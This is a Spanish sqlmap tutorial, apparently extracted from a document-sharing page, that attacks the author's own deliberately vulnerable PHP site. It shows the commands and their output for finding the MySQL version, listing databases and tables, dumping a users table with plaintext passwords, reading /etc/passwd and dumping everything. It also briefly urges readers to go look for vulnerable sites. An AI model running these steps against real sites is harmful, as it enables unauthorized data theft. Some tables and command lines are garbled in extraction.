Sei sulla pagina 1di 6

Una vez instalado los PHP y la base de datos, tendremos que suponer que hemos encontrado una URL

que aparentemente es vulnerable: http://[mi_servidor]/detail.php?id=8492019 Aparentemente no: !es vulnerable porque la he programado yo. Si ests ansioso por encontrar webs, toma y busca. Empezamos atacando la Web con sqlmap. Lo primero que haremos es ver que versin tiene de MySQL con el parmetro "-b":

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" -b

sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 21:58:00

[21:58:01] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0

banner:

'5.0.51b-community'

[*] shutting down at: 21:58:07

Vemos que tiene MySql 5.0.51. Ahora queremos saber el nombre de la base de datos con la que est trabajando esta aplicacin. Utilizamos el parmetro "--current-db":

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --current-db

sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:09:07

[22:09:08] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0

current database:

'midb'

[*] shutting down at: 22:09:09

La base de datos se llama midb. Veamos ahora las tablas de esta base de datos. Utilizamos los parmetros "--tables -D midb". # ./sqlmap.py midb -u "http://192.168.1.5/detail.php?code=8492019" --tables -D

sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:11:01

[22:11:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0

Database: midb [2 tables] +----------+ | products | | users |

+----------+

[*] shutting down at: 22:11:05

Bingo!. Vemos que tiene una tabla llamada "users", donde posiblemente estn lo usuarios que se logean desde la pagina principal llamada "login.php". Veamos la estructura de esta tabla. Utilizamos los parmetros "--columns -T users -D midb":

# ./sqlmap.py users -D midb

-u "http://192.168.1.5/detail.php?code=8492019"

--columns

-T

sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:13:34

[22:13:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0

Database: midb Table: users

[3 columns] +----------+------------------+ | Column | Type |

+----------+------------------+ | id | int(10) unsigned | | |

| password | varchar(45) | username | varchar(45)

+----------+------------------+

[*] shutting down at: 22:13:43

Veamos el contenido de esta tabla. Utilizamos los parmetros "--dump -T users -D midb":

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --dump -T users -D midb

sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:16:17

[22:16:19] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0

Database: midb Table: users [3 entries] +----+---------------+----------+ | id | password | username |

+----+---------------+----------+ | 1 | 2 | 3 | admin123456 | admin | | |

| alberto123456 | alberto | juan123456 | juan

+----+---------------+----------+

[*] shutting down at: 22:16:27

Ahora la pregunta es saber si tenemos acceso a otras bases de datos. La respuesta es depende. Depende

del nivel de seguridad que tenga la aplicacin. Naturalmente esta aplicacin es ma y no tiene ningn nivel de seguridad. Veamos que otras bases de datos hay. Utilizamos "--dbs":

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --dbs

sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:31:25

[22:31:26] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0

available databases [6]: [*] information_schema [*] midb [*] mysql [*] phpmyadmin [*] test [*] webauth

[*] shutting down at: 22:31:32

Veamos ahora que usuarios hay en MySQL. Utilizamos "--users":

# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --users

sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:32:43

[22:32:45] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0

database management system users [3]: [*] 'root'@'127.0.0.1' [*] 'root'@'localhost'

[*] shutting down at: 22:32:51

Solo existe un usuario root. Aqui est uno de los problemas. Estamos utilizando el usuario root que trae por defecto MySQL para acceder por PHP. Si estamos utilizando el usuario root para nuestras sentencias de SQL eso quiere decir que podemos hacer llamadas al sistema:

# ./sqlmap.py /etc/passwd

-u

"http://192.168.1.5/detail.php?code=8492019"

--read-file

sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:59:10

[22:59:11] [WARNING] User-Agent parameter 'User-Agent' is not dynamic back-end DBMS: MySQL >= 5.0.0

/etc/passwd: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false

[*] shutting down at: 22:59:12

Para terminar tenemos un dump de todo el MySql. Utilizamos "--eta --dump-all -v 1". Esto puede tardar bastante y no volcar el resultado.

Potrebbero piacerti anche